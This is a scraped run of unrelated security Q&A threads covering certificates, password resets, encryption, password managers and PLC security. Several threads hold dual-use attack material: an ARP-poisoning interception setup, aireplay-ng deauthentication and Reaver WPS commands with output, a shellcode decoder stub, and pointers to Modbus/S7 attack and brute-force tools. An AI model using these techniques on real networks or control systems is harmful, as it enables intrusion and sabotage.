Self-signed certificates and internal cURL requests I'm using an internal API for some commercial software we purchased and it recommends using SSL when utilizing the API; it uses cURL to achieve this and hence the user, pass and key will all be passed to the cURL request.

We don't currently use SSL on the site for anything so didn't really want to purchase one just for this, but was told you could use a self-signed cert with no issues.

However upon doing research on them I found doing this creates issues for users sometimes, such as them getting a warning in their browser like:

My question though is, does these kind of errors/warning only occur when the user actually accesses the page themselves via https:// or will it also cause issues even though the SSL request is happening behind the scenes; I imagine it won't as wouldn't the web server itself be the one responsible for the request?

My next question regarding that is - if this falls back on the server itself, will it cause any issues for the server itself or stall things because of the self-signed cert or will things run without issue?

This error occurs when a browser encounters a certificate that it does not trust.  By that I mean that the server's certificate is not installed as a trusted root certificate.  These are handled different on a browser to browser basis, but generally the error message you see allows the user to add the un-trusted certificate to its trusted certificate store if they choose.

This error does only occur when the user tries to access the page via https://, or if you redirect your http:// page to the SSL/TLS enabled webpage.  The server is responsible for handling the HTTPS request, and sending its certificate for validation.  When the browser receives the certificate the following checks should happen:

Does the browser recognize the certificate as a trusted certificate?
Is the certificate expired or revoked?
If the answer is no to both, then this message will be displayed.
Now the user is given the option to continue to the website and/or install the certificate in its trusted store.

This will not stall things on the server side, and will run without error.  The reaction to an un-trusted certificate depends upon the browser that is accessing the webpage.  Regardless, most SSl/TLS protocol implementations will allow a certain amount of time for the client to respond to this message.  If the user accepts the certificate as valid within the timeout window then the connection will proceed as normal.  If they wait too long then the user will get a "session timeout" error, and they will have to reconnect to the website.

Curl automatically verifies server certificates.  If you'd like to turn this off you can do this with -k or --insecure.  Or you can add your server certificate to the trusted store.

Add Self Signed Certificate to cURL Trusted Store

The link above will take you through the steps of determining where on your Linux system the trusted certificates are stored, and how you can add your server's certificate to be trusted.

Edit
Since the commercial software is passing along arguments to cURL, I would expect that if cURL doesn't trust the certificate that it would fail.  The user won't be able to access the page.  It's also entirely possible that the software has mechanisms for handling this error.  It may prompt the user to install the certificate, and continue the connection.  Without knowing the software it's hard to say what its exact reaction will be.


Burp suite interception bypass I am trying to intercept application layer traffic using network level attacks. In particular, I have stumbled across this interesting article here.

Link

Briefly, it uses ARP poisoning to make attacker's machine mitm and uses iptables to forward http and SSL traffic to burp on the attacker's machine.

My setup:

OnePlus X with hotspot as the router
Windows 10 32 bit PC as the victim (Various browsers running)
Kali Linux 2018 64 bit PC as the attacker(Wireshark, burp suite and
ARP spoof running)

All works well and fine, ARP poisoning does its job and I can see the packets in Wireshark. All the DNS requests made and all unencrypted HTTP data are visible in Wireshark. Also, burp is setup fine and intercepts traffic, even HTTPS traffic. For example, I tried https://barracuda.com and I could see it in burp.

Then I tested bing.com and I could see it in burp as well. But when I tried to connect to Facebook or Google from the victim machine, I see no traffic in burp at all. There is no single sign of any traffic to Facebook or Google in burp. Not even any error messages. However, I can see the DNS requests made to Facebook and Google in Wireshark. And then some TCP stream exchange follows, which is obviously must be the request response from those two sites. This means the traffic does pass through my Kali Linux machine. Then why am I unable to intercept the traffic in burp?

I tested this issue on both Chrome 66 and Opera browser (both upto date) on my victim machine. Both of them have the same behaviour.

I could see hsts specific errors before importing the burp CA into my victims trusted root. After the import, when I can intercept traffic to bing.com, why can I not intercept the traffic to Facebook or Google? What magic is at work that's stopping me from seeing it in burp?

Any leads would be appreciated. Thanks.

Nevermind. Those websites were using IPv6 over IPv4 and hence due to the encryption of IPv6 I couldn't see the traffic. It turns out that windows has a preference of IPv6 over IPv4 when the network adapter's have a few types of addresses, typical of those assigned by mobile hotspots. (Maybe for security?)

I could see in Wireshark that DNS requests for Facebook and Google were receiving IPv4 as well as IPv6 addresses. But those of Bing and barracuda weren't. And due to the preference of IPv6 over IPv4, IPv6 was used. I force disabled IPv6 support on windows over the adapter in question and as expected things were back to normal.

And it turns out the TCP exchanges that I mentioned are probably something else and not the request responses from Google or Facebook. I realised this by simply running Wireshark on my windows machine, and then abffled at this I did some research and got to know somewhere from Microsoft support about the preference of IPv6 over IPv4.

Hope this helps some pentester somewhere.


Where to publicly report a vulnerability, after developer ignores it? If I've discovered a vulnerability, and disclosed it to the website/app's developer, how should I disclose it publicly?

I gave the developer ample time to address the issue, as recommended by this.  I know I should now be disclosing publicly, so as to warn potential users, but how and where should I do this?

You can try getting CERT involved. https://vulcoord.cert.org/VulReport/

  We are more likely to accept reports if they:

  are technically accurate, sufficiently detailed, and reasonably    complete
  affect multiple vendors
  impact safety or critical infrastructure
  involve disagreement or dispute between reporters and    vendors
  involve hard-to-reach or unresponsive vendors
  affect vendors or sectors that are new to software security and vulnerability    disclosure
  require reporter anonymity


Why would a password reset method be like this? Is it especially safe? The library of the Technical University in my city (Europe) has a password reset system which I did not encounter anywhere else.

Students have to go to some office inside the university to get a new password; external users (like me) have to write an e-mail to an e-mail address of the library. I did this and a few days later received an e-mail (seemingly from a real person) saying:

  Your password is now reset to be your birthday, in the form YYYYMMDD.

There is an online form where one can change their password.

This method seems strange to me: I'm used to filling out an online form and then receive an automatic e-mail with a link to change my password. This method here seemed a hassle both for me and the library personnel.

Is there a practical reason for this kind of method? Is it especially safe? To me, it does not seem so but I don't know anything about Information Security.

I received two good answers (one of which disappeared), so I want to thank you all!

In no way is this safe and in no way is this the result of "security processes".

It looks like they have no password reset process and that it is all done by hand.


Proving authenticity of a message from a message app in case of deletion Say you want to prove that you received a certain message from someone.
This can be difficult because many messaging apps (like facebook messenger) allow the sender to delete messages on the recipient's end.
Of course, you could screenshot the message, but then you still need to prove 2 things:

The time of the message.
The authenticity of your screenshot.

1 is easy, if you upload a hash to public databases
as described in this question: Proving creation time/date of a screenshot
2 is a bit more difficult. You'd have to prove somehow that you didn't just forge the screenshot. Note: this is a little different than proving that it was the other person that sent it. This is proving that you received the message from a certain account.
Is there a way establish proof of this?

A screenshot is just an image file.
It can be copied without any limitations. Thus having a screenshot does not prove anything.
Everyone can create or edit any file in editor. Having an image file does not prove anything.
Only of you use a messenger that uses digital signature of the sender or uses encryption, you could prove that you received the message. But for this you would need a copy of your message, not the displayed text, but the binary data package that your messenger received from another one. Then:

If you present this message ...
If this message was encrypted by your public key ...
If this message was signed or encrypted by some other sender, not by you, i.e. the sender key used is known to belong to somebody else ...
If the message contains a timestamp signed by trusted time server (in case of digital signature such time stamp is a part of signature) ...
If you prove that you own your key ...

... Then you can prove that you received that message at that time from that person.


History of the CERT secure coding standards? My question is when and why did researchers decide to create the CERT secure coding standards?

Is there anything about the history of this standards? I can't find anything about this.

Not to be too snarky, but did you try googling "cert secure coding history"? First hit:
https://www.securecoding.cert.org/confluence/display/c/History

I believe the first paragraph covers "when and why":

  The idea of a CERT secure coding standard arose at the Spring 2006 meeting of the C Standards Committee in Berlin, Germany. The C Standard is an authoritative document, but ... its language is obscure and often impenetrable. A secure coding standard would be targeted primarily toward C language programmers and would provide actionable guidance on how to code securely in the language.


Sending GPG private key to myself I recently started to use GPG and I wanted to import my secret key from another computer. I was thinking about sending it to myself by email or using an USB storage device.

Question : Is it safe ? Could someone use my private key it if they were to find it ? And if it is the case, would generate another pair of keys be enough to stop him from stealing my indentity ?

Thanks.

Yes, someone with access to your key can logon anywhere the corresponding public key is deployed, gaining access to your data and with the potential to do further mischief ("stealing my identity" is a bit vague).

Carrying the key on a USB stick should mean the key is less exposed than sending it over the internet.

If you don't have a passphrase on the key, then you might consider adding one before exporting it (gpg --edit-key $KEY / passwd) or encrypting the exported file  gpg -e --symmetric $yourExportedIdFile).

If the private key was compromised then you'd need to remove/revoke the public keys from all the places they've been deployed.


Does it matter which key is considered private and which public? Mathematically, is there a difference which set of characters is private_key and which one is public_key?

@Edit
At the moment of asking I was thinking on RSA, not asymmetric crypto in general.

Shouldn't necessarily matter...
In RSA you can use either d (private) or e (public) to encrypt and also decrypt. This doesn't work with all cryptosystems. For example DSA won't allow this.

So technically it wouldn't really matter if you exchanged the values of e and d.

...but does
Performance:
But actually you usually want verification (using e) to be fast. And then accept that signing (using d) is slower.

Usually the public exponent is picked to be some simple and small binary representation. The number 65537 (0b10000000000000001) is regularly picked as the public exponent. And a much, much larger (about the same size as the modulus, so about 2048 bits nowadays) number as the private key.

See also: https://crypto.stackexchange.com/questions/3110/impacts-of-not-using-rsa-exponent-of-65537

Security:
And: You can't really flip this around (large public exponent, small private exponent), because there are published attacks on small private exponents. (Wiki: Wiener's attack)

See also: https://crypto.stackexchange.com/questions/3271/why-should-the-rsa-private-exponent-have-the-same-size-as-the-modulus


Virtual machine against screenshot / key-logging trojans? This question may sound naive to a security expert, but I guess that's why I'm here. x-)

Would creating a virtual machine be any protection against potential trojans that monitor my system? My thoughts were that if I'd have a clean system in the virtual machine, I could keep sensitive information there and also restrict outgoing data traffic to an absolute minimum. A trojan would not be triggered by me opening a bitcoin wallet etc., because it doesn't "know" I have installed such a software on my computer?

This is not a good solution. Your question assumes a compromised host and a clean guest. So, the malware will have control over the host. Virtual machines' data is contained in files, stored by the virtualizer on the host. So any malware on the host machine could potentially send those files back to an adversary. The adversary could then simply run that same virtual machine on his/hers virtualizer, and get access to everything stored in the VM.

Now lets assume you encrypt all of the VMs files (and ignore the practicality discussion). This still leaves your VM exposed to screenshots, memory dump analysis (although I am not aware if this has ever been done), and more data exfiltration methods.

Furthermore, VM network activity runs through the host's network interface (NIC), thus exposing the traffic to the malware.

So both of the points you made are not secure:

You should not keep sensitive information in a VM on a compromised host.
The malware could potentially intercept the network traffic from the guest.

A better solution might be to do the exact opposite - run a clean host, and use a VM for every activity that may expose you to infection (web browsing, file sharing etc.). Consider reading about Qubes and maybe this will interest you for more than just PDF viewing.


Mov byte to addres inside a register I am trying to write a shell insertion decoder (my encoder works as expected). But when I try to move one byte to the address inside a register i face a Segmentation fault.

The error happens in this line:

mov    BYTE PTR [rdi],bl

Here is my assembly code:

global _start

section .text

_start:
    jmp call_decoder
    rri_shellcode: db 0x48,0x48,0x5b,0x48,0x90,0x5b

init_decoder:
    lea rsi, [rel rri_shellcode]
    mov rdi, rsi
    inc rdi
    xor rax, rax
    add rax, 1
    xor rbx, rbx

loop_decoder:
    mov bl, byte [rsi + rax + 1]
    mov byte [rdi], bl
    inc rdi
    inc rax
    loop loop_decoder

call_decoder:
    call init_decoder

What happens that i cant move the byte within bl into the address stored within rdi?

PS.: I know the loop wont work since I didn't set rcx yet.

Thanks in advance,

:wq!

rdi points to rri_shellcode+1. This is located in the .text segment which is not writable by default, thus causing the segmentation fault.

You can link it using the ld -N option if you really need .text section to become read/write.


Does WhatsApp have a golden key to decrypt messages? The head of Information and Communication Technologies Authority of Turkey said this on Twitter yesterday:

  WhatsApp can read your end to end encrypted messages when necessary. It can decrypt your messages by using a golden key that stored in device memory.

Is there any evidence to this?

No, it's implausible that WhatsApp owns a key to read your end-to-end encrypted messages.

WhatsApp implements end-to-end encryption per the Signal protocol which has maintained a good reputation in the security community. From their security whitepaper:

  WhatsApp messages, voice and video
  calls between a sender and receiver that use WhatsApp client software
  released after March 31, 2016 are end-to-end encrypted.

  The Signal Protocol, designed by Open Whisper Systems, is the basis for
  WhatsApp’s end-to-end encryption. This end-to-end encryption protocol
  is designed to prevent third parties and WhatsApp from having plaintext
  access to messages or calls. What’s more, even if encryption keys
  from a user’s device are ever physically compromised, they cannot be
  used to go back in time to decrypt previously transmitted messages.

The last point refers to the property of forward secrecy which the Signal protocol provides by implementing the double ratchet algorithm. This means that even by compromising the current session, WhatsApp wouldn't be able to decrypt any past traffic - there just is no single key that could be used to "decrypt all your messages". So the claim make no sense considering how the protocol works.

That said - while the Signal protocol is open source, the WhatsApp client from your app store is not. If you distrust them to a degree that you expect WhatsApp to ship a backdoor routine in one of their updates, then you'll have to find an alternative messenger to trust.


Why initiate this phishing attempt as an email? While browsing some sketchy site on my Chrome for iOS browser I got redirected out of my browser into my Mail app.
I was greeted with this message:

I immediately figured this was a phishing attempt to get me to hit send and they'd have my email address or try to get other details in a reply. But then I realized the "to:" email was "foo@example.com". Now I'm not saying the phisher can't own that email, but seeing as that email is used all time to where it's basically a default throwaway/test/example address it seems unlikely to me it's still available for someone to grab and use for this.

So what I'm wondering is why throw me into my mail client in this phishing attempt. Is it likely they do own that email or have a way to intercept mail to it? Or were they just using the mail client as a sort of popup with the goal of me to call the number in the subject line?

I believe that this is attempting to take advantage of a flaw in an older version that would spawn numerous copies of that message, leading the user to believe the only way to remove it was to call the number for tech support. The message was never intended to be mailed, so the address was never important.

https://apple.stackexchange.com/questions/267132/ios-safari-repeatedly-opens-virus-detected-emails

You should probably update your IOS if you are getting this.


Is mgicinjs.info a virus or malware site? How to get rid of it? Today, I noticed that almost all of my web project (published or in localhost) have a set of weird script references in their pages:

And they are all automatically generated - they don't appear in View -> Page Source, but they are visible in Inspect Element -> Elements tab.

This behavior is what a malware does. However, I search around and no virus indexes like VirusTotal say that it's a virus. What makes it really suspicious, is that all search results about it (mgicinjs.info) is about URL and domain virus scanners!

I don't know where it came from and how can I remove it.

I figured it out!

it's not virus

Here is how i resolve it below:

1. open savefrom.net setting.

2. uncheck "Offers4U" feature.

If you are curious, it's because Offers4U from savefrom.net extension

done. i hope it helps. :)


Can a scanning id system like trusona really be secure? I became aware of Trusona recently (see their demo on this page https://www.trusona.com/ ). They want to 'end passwords'.

I believe in the idea that 'reasonable security' = {something you are + something you know + something you own}, and that anything else pretending to be safe enough is basically unsafe / a lie.

From my point of view it looks like they use some image analysis to check that an ID has been shown, and shown in a way different from any previous image of this ID - to check somebody did not steal the logging image used as credential. So this is the 'something you own'.

But do they have any way of checking that the logging ID is valid in the first place? I guess if you obtain a snapshot of an ID, you can as well print it and re-scan it?

So how can a system like trusona be secure at all? Is there something I am missing? I do not see the 'something you know' / 'something you are' components of safety, and the 'something you own' itself seems dubious compared with a good cryptographic pseudo random number generator.

In a sense, this is the same reason why I would not use pure fingerprint ID ('something I am', but easy to copy) for anything serious - I am giving my fingerprint for free hundreds of times a day each time I use my fingers. At least as long as you cannot read my mind / hack my end-point access, you cannot get to my password (not to say there are no ways to do both of course).

Am I missing something / can somebody explain if / why trusona is actually safe?

From the demo, it looks like they've built something pretty similar to every other PAM platform, except that it uses a smartphone camera and an app to perform the validation. The use of a driver's license in the latest version is a cute add-on, but it will probably meet with user resistance.

Based on what I saw in their videos, the basic architecture looks like this: users establish their account with a third party validation provider (Trusona) and install the app, which is linked to the account with a certificate pair. When you attempt to log in, a push notification is sent to the phone associated with your account and you take a picture of a one-time password in the form of a QR code. The app verifies the OTP with server and logs you in, fulfilling the "something you have" and "something you know" roles with the phone and QR code, respectively.

This isn't any different than any other PAM system, really. So as far as security goes, it's pretty okay. You're right that in an ideal world, you'd have three factors for authentication, but for the vast majority of people, this type of two factor centralized authentication would be fine. I wouldn't be terribly surprised to see Trusona or another similar platform popping up on more sites moving forward.

The largest issue I have with it is trust with the third party. If you look back to the RSA breach in 2011, you can see the kind of problems having a single large third-party validation system can have. When the SecurID seed was stolen, it became possible to generate valid credentials on the platform, bypassing the proposed security. Trusona could easily suffer the same fate, but then again, so could any other authenticator.


Asterisk trunk config 'insecure=very' I had to add 'insecure=very' configuration to a SIP trunk on my freePBX box for it to register.

Does this configuration open possible threats for my infrastructure?

This option basically allows  registered hosts to call without re-authenticating. According to this article:

  Never include the parameter “insecure=invite” or “insecure=very” when
  defining a dynamic SIP user account. If you do, it will disable
  password checking for that account. Where possible, restrict the range
  of IP addresses from which the user is allowed to connect using the
  “deny” and “permit” parameters. This is a good idea where all possible
  source IP addresses are known in advance such as from a local LAN in
  an office. If possible, avoid setting the type to “friend”. Instead
  use “type=peer” and “host=dynamic” (see below).


Is VeraCrypt encryption of VHDX correct? I have created a dynamically expanding vhdx of 500GB to store my backups to - I have decided not to create a 500GB container due to time it would take to create one.

I have encrypted the drive through VeraCrypt with proper algorithms and keyfiles, using NTFS and Quick Format settings; I have mounted the volume and started backup process.

The backup vhdx expands as expected, however I'm not sure if all the data is encrypted.

How could I actually check if the data stored on the drive is encrypted?

To validate your trust in an encryption process, just place a canary among your clear data. A good canary is any file with a basic pattern easy to find out with any search tool (I used a file filed with 1MB of U == 0x01010101).

Boot from another OS, for example an USB key with any Linux version. Mount your encrypted disk, and search your canary.

Your canary will detect the leak and save you (your data): Canary use in coal mine.


Can you only communicate to a PLC using associated software? Apologies if this isn't the right forum, but I'm trying to understand SCADA network architecture, and specifically how the Stuxnet virus was able to change the control logic on PLCs. I think that it used the STEP 7 software running on a computers connected to PLCs to update their logic, while simultaneously changing DLL routines for the STEP 7 software so that anyone querying the logic on said PLCs would see the original logic. I gather that to read the logic on the PLC the STEP 7 software must be able to read the memory blocks and then 'decompile the code', since PLCs seem to be programmed in assembly code (or a graphical representation of it), and as such there is a 1-1 mapping with the machine code on the PLC. Is all of this correct so far?

My main question is about whether it is possible to change the logic on a PLC without using programming software, just by sending a command over a SCADA network, and also if PLC memory can be read without using said software. The documentation for the Siemens S7-400 PLC seems to suggest that physical hardware interactions are needed to change the logic (a knob on the PLC has to be turned), so did Stuxnet exploit a vulnerability in the Siemens STEP 7 programming software to bypass this, or was this feature perhaps only introduced after Stuxnet as an additional security measure?

This question extends to other PLCs as well - not just Siemens.

Many thanks.

The book, Hacking Exposed Industrial Control Systems: ICS and SCADA Security Secrets & Solutions, covers PLC discovery, scanning, modification, intrusion, malware, et al very-well.

For PLCs that connect to TCP/IP-based Modbus or Step7 Communications, in particular, the book mentions many ways to control the PLCs over the network without using the vendor-supplied apps.

For example, with Modbus TCP, one can use modbus-cli to control PLCs including reading or modifying memory (e.g., coils, registers). If you want to discover Modbus TCP devices, you can use the Nmap NSE script, modbus-discover, and to conduct packet-level operations use Wireshark (or tshark) for capture and modbus-vcr for man-in-the middle attacks.

Other tools such as plcscan will discover Modbus TCP and Step7 (s7comm) devices. The s7-info Nmap NSE script will provide more information on the s7comm devices found.

Hacking Exposed Industrial Control Systems also covers Stuxnet in varied depth with links to many other papers such as Symantec's w32-Stuxnet Dossier and the BlackHat 2011 Talk by Dillon Beresford on S7 PLC Exploitation. Here are the basics that the book summarizes:

  Stuxnet’s total composition consisted of three modules: one worm and
  two payloads. Stuxnet was traditionally introduced into an environment
  via a USB flash drive or external hard drive. Immediately on insertion
  of the infected media, Stuxnet’s worm capability laterally looked for
  any system with Siemens Step7 software running. Stuxnet performed this
  search by using techniques such as peer-to-peer RPC
  (https://en.wikipedia.org/wiki/Peer-to-peer) to help bypass the
  system’s possibility of not being Internet connected. If Step7 was not
  found on any laterally connected system, Stuxnet went dormant for a
  period of time before rescanning the environment. In the event that
  Step7 was identified, a combination of one or both payloads were
  executed.

  Of the two payloads contained within Stuxnet, one attacked the Siemens
  S7-315-2 PLC, which was primarily being used in high-frequency drives
  controlling Iranian centrifuges. The other payload, which is less
  known, performed a Man-in-The-Middle (MiTM) attack within the PLC. The
  payload took any input going to the PLC’s I/O modules and faked them
  so any logic within the PLC worked off incorrect logic. The payload
  then told the PLC what to do, instead of the PLC listening to the
  logic on the system itself. This was the first time any known malware
  hid modified PLC code, making Stuxnet the first “PLC rootkit”

and on Siemens S7comms:

  S7comms, or Step 7 communications, is a Siemens protocol implemented
  on an ISO protocol that is not open and has very tight controls. For
  the 200/300 families of PLCs, you can find some basic information
  about the protocol via a Wireshark dissector that is only partially
  implemented.

including a packet trace of S7 in action with Wireshark:

The book provides many other resources which I've supplied here along with some others for additional reference --

ICS devices on Shodan -- https://www.shodan.io/search?query=port%3A102
Step7 attack (e.g., brute-force) scripts -- https://github.com/atimorin/PoC2013/tree/master/S7
ScadaStrangeLove SCADAPASS -- https://github.com/scadastrangelove/SCADAPASS
https://github.com/atimorin/scada-tools
https://github.com/ITI/ICS-Security-Tools
http://www.samuraistfu.org/resources
http://www.robertmlee.org/a-collection-of-resources-for-getting-started-in-icsscada-cybersecurity/


A password manager a single point of failure. Then why is it so often recommended nowadays? The conclusion of this article is that to protect passwords in 2017, you need length and randomness. It recommends giving up all little hacks and techniques like turning "o" into 0 in favor of picking a random password.

And on top of that, you'd need dozens of these long random passwords and so you need a password manager like lastpass or keepass.

I just find it a little scary that I'll know none of my own passwords (except the one to the password manager).

Isn't there any other solution? Or perhaps a way to make this a little less daunting.

And on top of that, you'd need dozens of these long random passwords
  and so you need a password manager like lastpass or keepass.

  I just find it a little scary that I'll know none of my own passwords
  (except the one to the password manager).

Well, it's a trade-off.  In exchange for getting strong complex passwords, you give up your knowledge of each password, and you introduce the danger that an attacker who compromises your password manager gains access to all your passwords.

In real world terms, the alternative - humans either choosing weak passwords which they can remember, or the same password for every system, or one weak password that they use for every system - is a worse case scenario.

You don't have to love the right solution.  Sometimes the right solution is just the lesser of two evils.  (And, frankly, a good password manager has relatively little evil.)

  Isn't there any other solution? Or perhaps a way to make this a little
  less daunting.

Yes - the other solution is the use of OTP with federation.  Something like Google Authenticator, where you have a software token which provides rotating passwords, and where the "secret key" used to validate those passwords is owned by one entity who allows multiple systems to leverage it for authentication without giving each system access to that secret key*.

This third option also has upsides and downsides.  If not knowing your actual password bothers you, then being reliant on a device to provide you with passwords that are only good for 60 seconds may bother you more.  The security of the system is better than the other two for a number of use cases.  However, the applicability (e.g., systems you want to use may or may not support it) is worse.

*As opposed to, say, RSA SecurID tokens, where the seed file which is the "secret key" needs to be installed on each RSA installation, so either your seed is shared among multiple entities or you have multiple tokens.


How do I prepare for Certificate Authority end of business? We are deploying a security solution which uses certificates to validate documents.
These certificates are issued by our government-authorized CA.

What if in a distant future, the CA who provided us with certs no longer works? How is this type of incident normally addressed? As a certificate owner, are we obligated to buy another certificate from another CA? Is this problem normally handled by the CA?

Certificates are transient in nature: they expire, and must be renewed. Even worse, the validity of a certificate is the property of the current time, since certificates may be revoked at any time. Therefore, if you want to store signed documents, and be able to validate them at a later date, then you need time stamps. See this answer for some details.

While time stamps protect your signed documents against a cessation of activity from the CA, an abrupt closure would still be a problem since, by ceasing to issue CRL on a regular basis, the CA effectively revokes all existing certificates (at least that's the effect from the outside). Normally, contracts with CA include strict clauses on the continuity of operations; up to an including financial provisions and/or to guarantee that even in case of total business failure, CRL will still be issued for some years.

When you renew your certificate, you are actually acquiring a new one. Nothing forces you to get that second certificate from the same source as the other one. You may think of these certificates as "the old one" and "the new one", but from an X.509 point of view they are just two certificates, that may relate to distinct issuing CA. You will have to renew certificates on a regular basis anyway, since they have expiration dates. An out-of-business CA may "just" force you to renew earlier than expected.

Alternatively, you may want to operate your own CA, but it is going to be very expensive if you want to do it properly (a serious CA is 5% technology, 95% people and procedure).


Secure HTTPS connection between arduino yun and apache server - self signed certificate I want to secure the connection between my arduino yun and my apache server. Right now I am using a simple get request in order to send information to the server.
I thought to improve security by using a self signed certificate on apache and using curl -k  to send information.

I wanted to ask you, do you think there are any flaws in this procedure? Is the connection secure, or an attacker can intercept the traffic and send data to  the server?

As the long name of -k (--insecure) implies, that is not a good idea.

The problem with disabling the certificate validation is that it allows for easy MITM attacks, e.g. another machine can intercept the communication and read/modify requests as if it were simple http with little overhead by simply self-signing itself to be the expected host.

Instead: As long as you pin the certificate and a possible attacker cannot tamper with your trust store, your setup should be fine if you do not keep curl from verifying the certificate.


Protect from Facebook like clickjack In the past month I've seen a better grade growth in sites that have clickjacking scripts that make you like the webpage or the Facebook site's Page when you click anywhere on the page. I have even seen sites that have this for "on Page close".

I am curious if there is a way to protect myself from such scams. Turning JS off is not a solution or stay logged out of Facebook.

Take a look at NoScript. Obviously its main purpose is to deactivate JavaScript (and other "add-ons" to your browser) globally and activate it only for selected (i.e. trusted) sites. Nevertheless it can be operated differently, e.g. you can leave JavaScript activated, while still profiting from other security mechanisms, e.g. its ClearClick technology, which exactly addresses your concerns.

Refer to the appropriate FAQ section for details on what this protects you against and how it works. The FAQ also states that you are pretty much out of luck, when not using Firefox. I'm not sure whether this is an overstatement, but at least I'm not aware of any alternatives.


AES use same Nonce security risk? If I use AES-GCM and encrypt data with a 128 Bit Key and always use the same Nonce.

Is using the same nonce a security risk? Can a hacker guess the Key?
Or is the Nonce only to verify that the message was not corrupted?

Especially if I encrypt/store small amounts of text like in an dictionary:

a
aa
b
bb
c
cc
...

Thanks

When using AES-GCM, using the same nonce and key pair for multiple messages is catastrophic.  You lose all of the security guarantees AES is supposed to provide. This is the worse possible scenario you could create.   It is critical when using AES-GCM that the nonce is never repeated for any given key.  The best way to ensure this is to use a cryptographically strong PRNG to generate a new 96-bit nonce for each message, and to re-key at reasonably regular intervals, where "reasonably regular" is defined by how much data and how many messages you're encrypting.


How can I be sure my Keepass client is secure? I've been fiddling with a locally encrypted disk image for years and I think it's finally time to use a password manager. Keepass is what I want to go with but I'm not a fan of the UI of the official project.

I noticed there's a good number of clients supporting keepass's database format, but how can I assess if one is safe to use? If I disable network access to the client could I be reasonably sure it won't phone home with my secrets?

How do you know how to trust any given KeePass implementation? The same ways you know how to trust any software. For me, these are factors I consider:

Open Source

All of the major ports are open.
Probably avoid random Windows Store apps without source available.

Audited by a 3rd party

AFAIK, only the official version has this. I could be wrong.

Active, transparent, development

The official version has active development, but it's pretty opaque.
KeePassX, if I understand correctly, is no longer very active.
Several of the Android and iOS apps seem abandoned.
KeePassXC and KeeWeb are both active and transparent.

Active community

I think all the big ones on a computer have this.
Smartphone apps: hard to say.

Location: depending on where you are located, knowing whether the software is mostly developed in Germany vs. Russia vs. the United States of America may make a difference in your trust.

KeePass itself is developed in Germany
I don't know about any of the others. I know I've looked up the Android apps I've used and the browser extensions but don't remember them.

Developer: is it only one person (who could be compromised), a community (who can police other members as needed), or a company (who can be held liable by others)?

Honestly I think KeePassXC does better in this area.
Official KeePass has only a single maintainer, and I think KeeWeb as well.
I think all the smartphone apps have only a single maintainer.

Popularity: how likely is it that a compromise would be noticed by someone and reported on by tech news?

KeePass itself would definitely be noticed and reported.
KeePassXC, by virtue of being a community project, stands a decent chance in my opinion as well.
I'm unsure about KeeWeb. As far as I know it sees much less use.
For smartphone apps, those mentioned specifically in the KeePass forums on a regular basis are very popular, but probably less likely to be noticed in the tech news sites.


Aireplay deauth having no effect, no handshake and Reaver stuck So I'm trying to hack my own WiFi using aircrack or reaver but have had no success with either. With aircrack I cannot achieve a successful handshake as the deauth doesn't seem to have any effect on my targeted devices. This is what it outputs:

root@kali:~# aireplay-ng -0 0 -a C0:05:C2:3B:8E:42 -c 98:9E:63:A1:E7:03 wlan0mon

20:21:49  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [ 8| 1 ACKs]

20:21:59  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [34| 0 ACKs]

20:21:59  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [ 3| 2 ACKs]

20:22:00  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [21| 5 ACKs]

20:22:10  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [ 9| 2 ACKs]

20:22:10  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [ 0| 0 ACKs]

20:22:11  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [12| 0 ACKs]

20:22:20  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [11| 0 ACKs]

20:22:21  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [ 0| 0 ACKs]

20:22:21  Sending 64 directed DeAuth. STMAC: [98:9E:63:A5:E7:03] [ 0| 0 ACKs]

In addition, with aircrack, sometimes when i try to use the deauth command it says:

20:24:09  Waiting for beacon frame (BSSID: C0:05:C2:3B:8E:42) on channel 6

20:24:09  wlan0mon is on channel 6, but the AP uses channel 1

However, normally I can just keep trying and the two channels will sync up. I don't know if this has any impact but on my airodump terminal, the first line of the table keeps changing the 'fixed channel' number. (The 9 keeps changing):

CH  1 ][ Elapsed: 7 mins ][ 2018-01-06 20:23 ][ fixed channel wlan0mon: 9

With Reaver, the command is executed and goes to check the first pin but it gets stuck and repeats this over and over again:

[+] Waiting for beacon from C0:05:C2:4B:7D:48

[+] Switching wlan0mon to channel 1

[+] Received beacon from C0:05:C2:4B:7D:48

[+] Vendor: AtherosC

[+] Trying pin "12345670"

[+] Associated with C0:05:C2:3B:8D:41 (ESSID: VM7781911)

[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred

[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred

[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred

[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred

[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred

[+] Sending EAPOL START request

Anyone know where I've gone wrong or how to fix these problems?

EDIT:
When I enter my card into monitoring mode it outputs this:

PHY      Interface      Driver      Chipset

phy0     wlan0          iwlwifi     Intel corporation wireless 3165 (rev 79)

                    (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0wlan0mon])
                    (mac80211 monitor mode vif disabled for [phy0]wlan0)

Is this okay?

You need to set an amount of packets to send, 0 is 0, send nothing, put more than 0 :D (deauth)

-0 22

root@kali:~# aireplay-ng -0 22 -a C0:05:C2:3B:8E:42 -c 98:9E:63:A1:E7:03 wlan0mon

[EDIT]

Also, run airmon-ng check kill before you start as said by G. T


Should it be possible in a good software, using a “Change Password” link for a single user, to try to guess passwords for every user of a Application? I am having a fight with the "Security Expert" of my team about this very basic question and I need help in getting a good valid argument(s).

The pretext is as follows:
Should it be possible/valid to try to guess/brute-force passwords for every known User of the Application, using "Change Password" link for a single User??

I asked him this very simple question:
We get a 'Change Password' weblink for each account when someone asks for change password, and it seems that using that 'Change Password' link you can try to guess password each and every user of the application. Is this valid for a 'Change Password' functionality??
He said: "Yes, that's fine"

So, basically when someone asks for a "Change Password" option from our software, they get a weblink. Now it seems that using that link it is possible to try to make brute-force requests for "Change Password" for All the users of the application.
